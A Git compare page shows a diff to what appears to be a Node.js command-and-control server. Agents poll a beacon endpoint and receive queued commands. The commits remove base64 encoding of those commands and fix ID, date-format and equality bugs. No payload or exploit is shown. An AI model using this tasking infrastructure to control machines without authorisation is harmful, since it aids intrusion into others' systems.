Compare commits
4 Commits
sig-change
...
master
Author | SHA1 | Date | |
---|---|---|---|
68408b7cd3 | |||
13da878026 | |||
42164e5c31 | |||
a0eb6e7bd4 |
@ -121,7 +121,7 @@ app.get('/beacon/:agentId', (req, res) => {
|
||||
agentStore.updateAgentBeaconTime(agentId)
|
||||
const task = taskStore.getNextTaskForAgent(agentId)
|
||||
if (task) {
|
||||
res.status(200).send(`${task.id}||${Buffer.from(task.command).toString('base64')}`)
|
||||
res.status(200).send(`${task.id}||${task.command}`)
|
||||
} else {
|
||||
res.status(200).send('sleep')
|
||||
}
|
||||
|
@ -3,10 +3,12 @@ const moment = require('moment')
|
||||
const Agents = () => {
|
||||
const obj = {}
|
||||
obj.agents = []
|
||||
obj._agentId = 0
|
||||
|
||||
obj.addAgent = (os, ip, profile, interval) => {
|
||||
const agent = {}
|
||||
agent.id = obj.agents.length + 1
|
||||
obj._agentId += 1
|
||||
agent.id = obj._agentId
|
||||
agent.os = os
|
||||
agent.ip = ip
|
||||
agent.profile = profile
|
||||
|
@ -9,7 +9,7 @@ const Tasks = () => {
|
||||
task.agentId = agentId
|
||||
task.command = command
|
||||
task.id = obj.tasks.length + 1
|
||||
task.tasked_date = moment().format('MM/DD/YYYY, hh:mm:SS A')
|
||||
task.tasked_date = moment().format('MM/DD/YYYY, hh:mm:ss A')
|
||||
task.complete_date = ''
|
||||
task.response = ''
|
||||
obj.tasks.push(task)
|
||||
@ -17,7 +17,7 @@ const Tasks = () => {
|
||||
}
|
||||
|
||||
obj.getTaskById = (taskId) => {
|
||||
const task = obj.tasks.find(t => t.id = taskId)
|
||||
const task = obj.tasks.find(t => t.id === taskId)
|
||||
return task
|
||||
? task
|
||||
: null
|
||||
@ -34,7 +34,7 @@ const Tasks = () => {
|
||||
obj.tasks.forEach(t => {
|
||||
if (t.id === taskId) {
|
||||
t.response = response
|
||||
t.complete_date = moment().format('MM/DD/YYYY, hh:mm:SS A')
|
||||
t.complete_date = moment().format('MM/DD/YYYY, hh:mm:ss A')
|
||||
}
|
||||
})
|
||||
}
|
||||
|
Loading…
x
Reference in New Issue
Block a user